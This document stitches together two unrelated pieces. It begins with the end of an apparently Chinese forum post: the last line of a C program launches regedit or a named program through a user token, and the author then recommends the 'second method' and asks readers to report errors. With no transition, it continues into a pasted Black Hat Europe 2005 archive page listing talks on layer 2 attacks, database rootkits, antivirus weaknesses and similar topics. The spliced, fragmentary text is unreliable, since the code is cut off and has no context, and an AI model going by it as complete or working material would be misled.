    StartInteractiveClientProcess(NULL, NULL, NULL, argc==2?argv[1]:"regedit", hToken);

    return 0;

}







上面这两种方法都能很好的完全功能,但是建议用第二种,虽然代码看上去有点长,但是很稳定.

代码又长又乱,其中肯定有错误之处,还请大家告之.谢过先… ;-)

Black Hat Multimedia Archives Quick-link
USA Europe Asia Windows Security Federal
USA 2005 Europe 2005 Asia 2005


Europe 2004

Europe 2003








Black Hat Europe 2005
Interested in obtaining a conference CD with all the presentations and tools? Contact ping at blackhat.com
Track/Speaker/Topic Presentation
(PDFs)
Notes/Tools Video

(not yet available)
Keynote Presentation – Black Hat Europe 2005

Simon Davies, Privacy International



Speakers – Black Hat Europe 2005
David Barroso Berrueta & Alfredo Andres

Yersinia, A Framework For Layer 2 Attacks
PDF: David Barroso Berrueta & Alfredo Andres-Yersinia, A Framework For Layer 2 Attacks



tool

updated materials

Jon Callas

Hacking PGP
PDF: Jon Callas - Hacking PGP
Cesar Cerrudo

Hacking Windows Internals
PDF: Cesar Cerrudo-Hacking Windows Internals



tool

Job de Haas

Symbian Security
PDF: Job de Haas-Symbian Security
Steve Dugan

A New Password Capture on Cisco System Devices


Arian Evans

Building Zero-Day Self-Defending Web Applications: Enforcing Authoritative Action to Stop Session Attacks
PDF: Arian Evans-Building Zero-Day Self-Defending Web Applications: Enforcing Authoritative Action to Stop Session Attacks
updated materials

Chris Farrow

Injecting Trojans via Patch Management Software & Other Evil Deeds
PDF: Chris Farrow
updated materials

Nicolas Fischbach

Network Flows and Security
PDF: Nicolas Fischbach-Network Flows and Security
Halvar Flake & Rolf Rolles

Compare, Port, Navigate
PDF: Halvar Flake & Rolf Rolles-Compare, Port, Navigate
updated materials

Kenneth Geers

Hacking in a Foreign Language: A Network Security Guide to Russia
PDF: Kenneth Geers - Hacking in a Foreign Language: A Network Security Guide to Russia

Joe Grand

Can You Really Trust Hardware? Exploring Security Problems in Hardware Devices

PDF: Joe Grand - Can You Really Trust Hardware? Exploring Security Problems in Hardware Devices


updated materials

the Grugq

The Art of Defiling: Defeating Forensic Analysis

PDF: the Grugq - The Art of Defiling: Defeating Forensic Analysis
Dan Kaminsky

Attacking Distributed Systems: The DNS Case Study
PDF: Dan Kaminsky - Attacking Distributed Systems: The DNS Case Study
Christian Klein & Ilja van Sprundel

Mac OS X Kernel Insecurity
PDF: Christian Klein & Ilja van Sprundel - Mac OS X Kernel Insecurity
Alexander Kornbrust

Database Rootkits
PDF: Alexander Kornbrust - Database Rootkits



tool

updated materials

Adam Laurie, Martin Herfurt & Marcel Holtmann

Bluetooth Hacking – Full Disclosure
PDF: Adam Laurie, Martin Herfurt & Marcel Holtmann - Bluetooth Hacking - Full Disclosure PDF:

David Litchfield

SQL Injection and Data Mining Through Inference

PDF: David Litchfield

Johnny Long

Google Hacking for Penetration Testers

PDF: Johnny Long - Google Hacking for Penetration Testers


Laurent Oudot

WLAN and Stealth Issues

PDF: Laurent Oudot - WLAN and Stealth Issues



tool

updated materials

Sensepost

Revolutions in Web Server/Application Assessments
PDF: Sensepost - Revolutions in Web Server/Application Assessments

Saumil Shah

Defeating Automated Web Assessment Tools

PDF: Saumil Shah - Defeating Automated Web Assessment Tools

updated materials

Paul Simmonds

Architectural Challenges in a Jericho World

PDF: Paul Simmonds - Architectural Challenges in a Jericho World


updated materials

Alex Wheeler & Neel Mehta

Owning Anti-Virus: Weaknesses in a Critical Security Component
PDF: Alex Wheeler & Neel Mehta - Owning Anti-Virus: Weaknesses in a Critical Security Component


updated materials

Stefano Zanero

Automatically Detecting Web Application Vulnerabilities by Variable Flow Reconstruction

PDF: Stefano Zanero - Automatically Detecting Web Application Vulnerabilities by Variable Flow Reconstruction


BCS Asia 2005 Archive

The Technical Track:


http://www.blackhat.com/html/bh-media-archives/bh-multi-media-archives.html#EU-2005
http://www.bellua.com/bcs2005/asia05.archive.html